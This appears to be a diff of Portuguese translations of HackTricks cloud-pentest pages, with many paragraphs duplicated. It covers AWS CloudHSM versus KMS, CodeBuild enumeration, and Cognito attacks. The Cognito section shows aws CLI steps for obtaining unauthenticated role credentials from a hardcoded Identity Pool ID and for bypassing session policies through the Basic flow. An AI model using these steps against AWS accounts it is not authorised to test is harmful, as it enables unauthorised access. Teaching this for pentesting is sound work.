Cloud HSM é um **dispositivo de hardware** validado no nível dois do FIPS 140 para armazenamento seguro de chaves criptográficas (note que CloudHSM é um appliance de hardware, não é um serviço virtualizado). É um appliance SafeNetLuna 7000 com 5.3.13 pré-carregado. Existem duas versões de firmware e a escolha de qual usar depende realmente das suas necessidades exatas. Uma é para conformidade com FIPS 140-2 e há uma versão mais nova que pode ser utilizada.
Cloud HSM é um **dispositivo de hardware** validado no nível dois do FIPS 140 para armazenamento seguro de chaves criptográficas (note que CloudHSM é um appliance de hardware, não é um serviço virtualizado). É um appliance SafeNetLuna 7000 com 5.3.13 pré-carregado. Existem duas versões de firmware e qual você escolher depende realmente de suas necessidades exatas. Uma é para conformidade com o FIPS 140-2 e houve uma versão mais nova que pode ser usada.
A característica incomum do CloudHSM é que é um dispositivo físico e, portanto, **não é compartilhado com outros clientes**, ou como é comumente chamado, multi-tenant. É um appliance dedicado de único inquilino exclusivamente disponível para suas cargas de trabalho.
Normalmente, um dispositivo está disponível em 15 minutos, assumindo que há capacidade, mas em algumas zonas isso pode não ocorrer.
Normalmente, um dispositivo está disponível em 15 minutos, assumindo que há capacidade, mas em algumas zonas pode não haver.
Como este é um dispositivo físico dedicado a você, **as chaves são armazenadas no dispositivo**. As chaves precisam ser **replicadas para outro dispositivo**, feitas backup em armazenamento offline ou exportadas para um appliance de espera. **Este dispositivo não é respaldado** pelo S3 ou qualquer outro serviço da AWS como KMS.
Como este é um dispositivo físico dedicado a você, **as chaves são armazenadas no dispositivo**. As chaves precisam ser **replicadas para outro dispositivo**, feitas backup em armazenamento offline ou exportadas para um appliance de espera. **Este dispositivo não é respaldado** pelo S3 ou qualquer outro serviço da AWS como o KMS.
No **CloudHSM**, você tem que **escalar o serviço você mesmo**. Você precisa provisionar dispositivos CloudHSM suficientes para lidar com suas necessidades de criptografia com base nos algoritmos de criptografia que você escolheu implementar para sua solução.\
A escalabilidade do Key Management Service é realizada pela AWS e escala automaticamente sob demanda, então, à medida que seu uso cresce, o número de appliances CloudHSM necessários também pode aumentar. Tenha isso em mente ao escalar sua solução e, se sua solução tiver auto-escalabilidade, certifique-se de que sua escala máxima esteja contabilizada com dispositivos CloudHSM suficientes para atender à solução.
A escalabilidade do Key Management Service é realizada pela AWS e escala automaticamente sob demanda, então, à medida que seu uso cresce, o número de appliances CloudHSM necessários também pode aumentar. Tenha isso em mente ao escalar sua solução e, se sua solução tiver auto-escalonamento, certifique-se de que sua escala máxima esteja contabilizada com dispositivos CloudHSM suficientes para atender à solução.
Assim como a escalabilidade, **o desempenho depende de você com o CloudHSM**. O desempenho varia com base no algoritmo de criptografia utilizado e na frequência com que você precisa acessar ou recuperar as chaves para criptografar os dados. O desempenho do serviço de gerenciamento de chaves é tratado pela Amazon e escala automaticamente conforme a demanda. O desempenho do CloudHSM é alcançado adicionando mais appliances e, se você precisar de mais desempenho, você adiciona dispositivos ou altera o método de criptografia para o algoritmo que é mais rápido.
Assim como a escalabilidade, **o desempenho depende de você com o CloudHSM**. O desempenho varia com base no algoritmo de criptografia usado e na frequência com que você precisa acessar ou recuperar as chaves para criptografar os dados. O desempenho do serviço de gerenciamento de chaves é tratado pela Amazon e escala automaticamente conforme a demanda exige. O desempenho do CloudHSM é alcançado adicionando mais appliances e, se você precisar de mais desempenho, você adiciona dispositivos ou altera o método de criptografia para o algoritmo que é mais rápido.
Se sua solução for **multi-região**, você deve adicionar vários **appliances CloudHSM na segunda região e resolver a conectividade entre regiões com uma conexão VPN privada** ou algum método para garantir que o tráfego esteja sempre protegido entre o appliance em cada camada da conexão. Se você tiver uma solução multi-região, precisa pensar em como **replicar chaves e configurar dispositivos CloudHSM adicionais nas regiões onde você opera**. Você pode rapidamente entrar em um cenário onde tem seis ou oito dispositivos espalhados por várias regiões, permitindo total redundância de suas chaves de criptografia.
**CloudHSM** é um serviço de classe empresarial para armazenamento seguro de chaves e pode ser usado como uma **raiz de confiança para uma empresa**. Ele pode armazenar chaves privadas em PKI e chaves de autoridade certificadora em implementações X509. Além das chaves simétricas usadas em algoritmos simétricos como AES, **KMS armazena e protege fisicamente apenas chaves simétricas (não pode atuar como uma autoridade certificadora)**, então, se você precisar armazenar chaves PKI e CA, um ou dois ou três CloudHSM podem ser sua solução.
**CloudHSM** é um serviço de classe empresarial para armazenamento seguro de chaves e pode ser usado como uma **raiz de confiança para uma empresa**. Ele pode armazenar chaves privadas em PKI e chaves de autoridade certificadora em implementações X509. Além das chaves simétricas usadas em algoritmos simétricos como AES, **o KMS armazena e protege fisicamente apenas chaves simétricas (não pode atuar como uma autoridade certificadora)**, então, se você precisar armazenar chaves PKI e CA, um ou dois ou três CloudHSM podem ser sua solução.
**CloudHSM é consideravelmente mais caro que o Key Management Service**. CloudHSM é um appliance de hardware, então você tem custos fixos para provisionar o dispositivo CloudHSM, além de um custo por hora para operar o appliance. O custo é multiplicado pelo número de appliances CloudHSM necessários para atender aos seus requisitos específicos.\
Além disso, deve-se considerar a compra de software de terceiros, como suítes de software SafeNet ProtectV e o tempo e esforço de integração. O Key Management Service é baseado em uso e depende do número de chaves que você possui e das operações de entrada e saída. Como o gerenciamento de chaves fornece integração perfeita com muitos serviços da AWS, os custos de integração devem ser significativamente menores. Os custos devem ser considerados um fator secundário em soluções de criptografia. A criptografia é tipicamente usada para segurança e conformidade.
**Com o CloudHSM, apenas você tem acesso às chaves** e, sem entrar em muitos detalhes, com o CloudHSM você gerencia suas próprias chaves. **Com o KMS, você e a Amazon co-gerenciam suas chaves**. A AWS possui muitas salvaguardas de políticas contra abusos e **ainda não pode acessar suas chaves em nenhuma das soluções**. A principal distinção é a conformidade em relação à propriedade e gerenciamento de chaves, e com o CloudHSM, este é um appliance de hardware que você gerencia e mantém com acesso exclusivo a você e somente você.
**Com o CloudHSM, apenas você tem acesso às chaves** e sem entrar em muitos detalhes, com o CloudHSM você gerencia suas próprias chaves. **Com o KMS, você e a Amazon co-gerenciam suas chaves**. A AWS tem muitas salvaguardas de políticas contra abusos e **ainda não pode acessar suas chaves em nenhuma das soluções**. A principal distinção é a conformidade em relação à propriedade e gerenciamento de chaves, e com o CloudHSM, este é um appliance de hardware que você gerencia e mantém com acesso exclusivo a você e somente você.
### Sugestões para CloudHSM
@@ -36,7 +36,7 @@ Além disso, deve-se considerar a compra de software de terceiros, como suítes
6. A configuração de **SNMP** tem as mesmas restrições básicas que a rede e a pasta SysLog. Isso **não deve ser alterado ou removido**. Uma configuração **adicional** de SNMP é aceitável, apenas certifique-se de não alterar a que já está no appliance.
7. Outra boa prática interessante da AWS é **não alterar a configuração NTP**. Não está claro o que aconteceria se você o fizesse, então tenha em mente que, se você não usar a mesma configuração NTP para o resto de sua solução, poderá ter duas fontes de tempo. Apenas esteja ciente disso e saiba que o CloudHSM deve permanecer com a fonte NTP existente.
A cobrança inicial para o CloudHSM é de $5,000 para alocar o appliance de hardware dedicado para seu uso, depois há uma cobrança horária associada à execução do CloudHSM que atualmente é de $1.88 por hora de operação, ou aproximadamente $1,373 por mês.
A cobrança inicial para o CloudHSM é de $5.000 para alocar o appliance de hardware dedicado para seu uso, depois há uma cobrança horária associada à execução do CloudHSM que atualmente é de $1,88 por hora de operação, ou aproximadamente $1.373 por mês.
A razão mais comum para usar o CloudHSM são os padrões de conformidade que você deve atender por razões regulatórias. **O KMS não oferece suporte a dados para chaves assimétricas. O CloudHSM permite que você armazene chaves assimétricas com segurança**.

View File

@@ -1,4 +1,4 @@
# AWS - Codebuild Enum
# AWS - Enumeração do Codebuild
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,13 +10,13 @@ AWS **CodeBuild** é reconhecido como um **serviço de integração contínua to
2. **Integração Contínua**: Ele se integra ao fluxo de trabalho de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação de software.
3. **Produção de Pacotes**: Após as fases de build e teste, ele prepara os pacotes de software, tornando-os prontos para implantação.
O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, melhorando a eficiência e a confiabilidade do pipeline CI/CD (Integração Contínua/Implantação Contínua).
O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, aumentando a eficiência e a confiabilidade do pipeline de CI/CD (Integração Contínua/Implantação Contínua).
### **Credenciais do Github/Gitlab/Bitbucket**
#### **Credenciais de fonte padrão**
Esta é a opção legada onde é possível configurar algum **acesso** (como um token do Github ou aplicativo) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado.
Esta é a opção legada onde é possível configurar algum **acesso** (como um token ou aplicativo do Github) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado.
As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild** e não há nenhuma maneira pública de recuperá-las das APIs da AWS.
@@ -24,7 +24,7 @@ As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild
Dependendo da plataforma do repositório (Github, Gitlab e Bitbucket), diferentes opções são fornecidas. Mas, em geral, qualquer opção que requer **armazenar um token ou uma senha será armazenada como um segredo no gerenciador de segredos**.
Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores, em vez de apenas usar o padrão configurado.
Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores em vez de apenas usar o padrão configurado.
### Enumeração
```bash
@@ -55,19 +55,19 @@ Na página a seguir, você pode verificar como **abusar das permissões do codeb
../aws-privilege-escalation/aws-codebuild-privesc.md
{{#endref}}
### Pós Exploração
### Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-codebuild-post-exploitation/
{{#endref}}
### Acesso Não Autenticado
### Unauthenticated Access
{{#ref}}
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
{{#endref}}
## Referências
## References
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)

View File

@@ -9,7 +9,7 @@ O Amazon Cognito é utilizado para **autenticação, autorização e gerenciamen
Central ao Amazon Cognito estão dois componentes principais:
1. **User Pools**: Estes são diretórios projetados para os usuários do seu aplicativo, oferecendo **funcionalidades de cadastro e login**.
2. **Identity Pools**: Esses pools são instrumentais na **autorização de usuários para acessar diferentes serviços AWS**. Eles não estão diretamente envolvidos no processo de login ou cadastro, mas são cruciais para o acesso a recursos após a autenticação.
2. **Identity Pools**: Esses pools são instrumentais na **autorização de usuários para acessar diferentes serviços da AWS**. Eles não estão diretamente envolvidos no processo de login ou cadastro, mas são cruciais para o acesso a recursos após a autenticação.
### **User pools**
@@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
```
### Identity Pools - Enumeração Não Autenticada
Apenas **saber o ID do Pool de Identidade** pode permitir que você **obtenha credenciais do papel associado a usuários não autenticados** (se houver). [**Veja como aqui**](cognito-identity-pools.md#accessing-iam-roles).
Apenas **conhecendo o ID do Pool de Identidade**, você pode ser capaz de **obter credenciais do papel associado a usuários não autenticados** (se houver). [**Veja como aqui**](cognito-identity-pools.md#accessing-iam-roles).
### User Pools - Enumeração Não Autenticada
Mesmo que você **não saiba um nome de usuário válido** dentro do Cognito, pode ser possível **enumerar** nomes de **usuários válidos**, **BF** as **senhas** ou até mesmo **registrar um novo usuário** apenas **sabendo o ID do cliente do App** (que geralmente é encontrado no código-fonte). [**Veja como aqui**](cognito-user-pools.md#registration)**.**
Mesmo que você **não conheça um nome de usuário válido** dentro do Cognito, você pode ser capaz de **enumerar** nomes de **usuários válidos**, **BF** as **senhas** ou até mesmo **registrar um novo usuário** apenas **conhecendo o ID do cliente do App** (que geralmente é encontrado no código-fonte). [**Veja como aqui**](cognito-user-pools.md#registration)**.**
## Privesc

View File

@@ -4,7 +4,7 @@
## Informações Básicas
Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é o suporte tanto para usuários anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
- Amazon Cognito user pools
- Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple
@@ -41,13 +41,13 @@ Isso é **útil para manter informações de um usuário** (que sempre usará o
Além disso, o serviço **cognito-sync** é o serviço que permite **gerenciar e sincronizar essas informações** (nos conjuntos de dados, enviando informações em streams e mensagens SNS...).
### Tools for pentesting
### Ferramentas para pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.
Para uma descrição das funções dos módulos, veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Usage
#### Uso
Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
```bash
@@ -75,7 +75,7 @@ Para mais informações, consulte https://github.com/padok-team/cognito-scanner
### Não Autenticado
A única coisa que um atacante precisa saber para **obter credenciais AWS** em um aplicativo Cognito como usuário não autenticado é o **ID do Pool de Identidade**, e esse **ID deve estar codificado** no **aplicativo** web/móvel para que ele o utilize. Um ID se parece com isso: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (não é passível de força bruta).
A única coisa que um atacante precisa saber para **obter credenciais AWS** em um aplicativo Cognito como usuário não autenticado é o **ID do Pool de Identidade**, e esse **ID deve estar codificado** no **aplicativo** web/móvel para que ele o utilize. Um ID se parece com isso: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (não é possível fazer brute force).
> [!TIP]
> A **função IAM Cognito não autenticada criada via** é chamada por padrão de `Cognito_<Nome do Pool de Identidade>Unauth_Role`
@@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
### Fluxo de Autenticação Aprimorado vs Básico
A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá apenas que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver o "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**.
No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**.
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -142,14 +142,14 @@ Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você
> [!NOTE]
> Lembre-se de que **usuários autenticados** provavelmente terão **permissões diferentes**, então se você puder **se inscrever dentro do aplicativo**, tente fazer isso e obtenha as novas credenciais.
Pode haver também **funções** disponíveis para **usuários autenticados acessando o Pool de Identidade**.
Também pode haver **funções** disponíveis para **usuários autenticados acessando o Identity Pool**.
Para isso, você pode precisar ter acesso ao **provedor de identidade**. Se for um **Cognito User Pool**, talvez você possa abusar do comportamento padrão e **criar um novo usuário você mesmo**.
> [!TIP]
> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_<Nome do Pool de Identidade>Auth_Role`
> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_<Identity Pool name>Auth_Role`
De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Pool de Identidade (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Identity Pool (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
--identity-pool-id &#x3C;identity_pool_id> \
@@ -161,7 +161,7 @@ aws cognito-identity get-credentials-for-identity \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
# No IdToken você pode encontrar funções às quais um usuário tem acesso por causa dos Grupos do User Pool
# No IdToken você pode encontrar funções às quais um usuário tem acesso devido aos Grupos do User Pool
# Use o --custom-role-arn para obter credenciais para uma função específica
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
</code></pre>
> [!WARNING]
> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** que o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**.
> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** com o qual o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**.
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More